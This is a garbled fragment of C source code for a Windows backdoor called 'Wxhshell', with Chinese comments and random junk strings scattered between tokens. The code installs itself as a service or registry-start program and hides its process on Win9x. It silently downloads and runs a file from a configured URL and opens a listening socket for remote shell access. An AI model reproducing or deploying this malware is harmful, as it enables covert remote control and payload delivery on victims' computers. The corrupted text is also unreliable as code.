EUfskv if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AGl#f\_^ /X]gm\x7s CloseHandle(hProcess); uO>x"D5tZ: 7Ll?#eun if(strstr(procName,"services")) return 1; // 以服务启动 Q45gC28x QQ`tSYgex return 0; // 注册表启动 m@Dra2Cv'@ } M"Af_Pbx u6 QW*8b4 // 主模块 4.Q[Tu int StartWxhshell(LPSTR lpCmdLine) <.#jp([W> { \gu8 ~zK SOCKET wsl; H:EK&$sU BOOL val=TRUE; w&@zJ [ int port=0; xM=ydRu struct sockaddr_in door; L@'2}7N1% 2Wg:eh if(wscfg.ws_autoins) Install(); <BIQc,)2} ;m7~!m) port=atoi(lpCmdLine); ?0'e_s *LMzq9n3o if(port<=0) port=wscfg.ws_port; =0L%<@yA ^OV!Q\j.q WSADATA data; lN&+<>a if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >z~_s6#CP ` ZZ3!$czR if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,SPgop' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }3,
4B-8! door.sin_family = AF_INET; S\]9mHJI door.sin_addr.s_addr = inet_addr("127.0.0.1"); .820~b0 door.sin_port = htons(port); tU$n3Bg *<:6A&'D9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /0cm7[a ? closesocket(wsl); u$CN$ynS return 1; cNT !}8h^ } |)v}\-\# mU(v9Jpf7 if(listen(wsl,2) == INVALID_SOCKET) { rizjH+ closesocket(wsl); MQDLC7Y.p5 return 1; |)xWQ KzA } E2 FnC}#W Wxhshell(wsl); $vK,Gugcx WSACleanup();
_ X .Tm.M7 return 0; rg;4INs# 8bQXC+bK } E=8GSl/Jx w2!:>8o: // 以NT服务方式启动 e$teh`
p3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DE7y\oO] { "N">RjJ" DWORD status = 0; U'msHF DWORD specificError = 0xfffffff; T{2)d]Y !Pz#czo serviceStatus.dwServiceType = SERVICE_WIN32; FGPqF; serviceStatus.dwCurrentState = SERVICE_START_PENDING; #6
ni~d&0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $IS!GS&: serviceStatus.dwWin32ExitCode = 0; C~ A`h=A< serviceStatus.dwServiceSpecificExitCode = 0; ?hAO-*); serviceStatus.dwCheckPoint = 0; YcV^Fqi! serviceStatus.dwWaitHint = 0; qO38vY){ BQ<\[H; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VxS3lR= if (hServiceStatusHandle==0) return; l]~9BPsR n!AW9] status = GetLastError(); p^}`^>OL if (status!=NO_ERROR) $UdBZT- { Tt9cX}&& serviceStatus.dwCurrentState = SERVICE_STOPPED; k q]E@tE*3 serviceStatus.dwCheckPoint = 0; {]U
\HE1w serviceStatus.dwWaitHint = 0; [3sZ=)G serviceStatus.dwWin32ExitCode = status; E<}sGzMc serviceStatus.dwServiceSpecificExitCode = specificError; 00'SceL=` SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(^pGL3< return; 6;\1bP? }
0Gc:+c7{ $m~&| s serviceStatus.dwCurrentState = SERVICE_RUNNING;
qou\4YZ serviceStatus.dwCheckPoint = 0; ]'?Ue7 serviceStatus.dwWaitHint = 0; ~\2%h
lA if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r~JGs?GH } )t3`O$J C-)d@LWI // 处理NT服务事件,比如:启动、停止 PH&Qw2(Sx VOID WINAPI NTServiceHandler(DWORD fdwControl) tl{{Vc[ { >itNa.K switch(fdwControl)
;~L,Aqn7 { 5073Q~ case SERVICE_CONTROL_STOP: 6$:Q]zR#'H serviceStatus.dwWin32ExitCode = 0; DA iS|x serviceStatus.dwCurrentState = SERVICE_STOPPED; x#&_/oqAk serviceStatus.dwCheckPoint = 0; jjQDw=6 serviceStatus.dwWaitHint = 0; q9p31b3 { TBrwir SetServiceStatus(hServiceStatusHandle, &serviceStatus); D
vvi)/< } 4X*U~} return; }apno|W& case SERVICE_CONTROL_PAUSE: k H<C9z2= serviceStatus.dwCurrentState = SERVICE_PAUSED; 9_d#F'#F break; 1<Mb@t case SERVICE_CONTROL_CONTINUE: < qab\M0W serviceStatus.dwCurrentState = SERVICE_RUNNING; ]P#W\LZp break; :!Dm,PP% case SERVICE_CONTROL_INTERROGATE: :*h1ik4t break; t2vm&jk }; Y>/_A%vQU SetServiceStatus(hServiceStatusHandle, &serviceStatus); h,B4Tg' } AG}j'
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. // 标准应用程序主函数 <`" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P_0[spmFU { @[?ZwzY:9 D!OY <? // 获取操作系统版本 0HU0p!yt& OsIsNt=GetOsVer(); Z3YKG{g GetModuleFileName(NULL,ExeFile,MAX_PATH); kaQNcMcq uF|_6~g // 从命令行安装 i/n
ee_ if(strpbrk(lpCmdLine,"iI")) Install(); *k_<|{>j( WEX7=^k9 // 下载执行文件 8f[ztT0`g if(wscfg.ws_downexe) { "adic?5 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /YUW)?o!^N WinExec(wscfg.ws_filenam,SW_HIDE); kppi>!6 } QEbf]U= _b/zBFa% if(!OsIsNt) { Jn d_cJ ]a // 如果时win9x,隐藏进程并且设置为注册表启动 0SWqC@AR% HideProc(); G/FDD{y StartWxhshell(lpCmdLine); Iox )- } 2Sa{=x
N) else vdvnwzp!l if(StartFromService()) Kr'? h'F // 以服务方式启动 %Vltc4QU StartServiceCtrlDispatcher(DispatchTable); ; U7P{e05 else i.7_ i78\" // 普通方式启动 D@9 +yu=S StartWxhshell(lpCmdLine); h%$^s0w 1goRO return 0; GTTEg{ }
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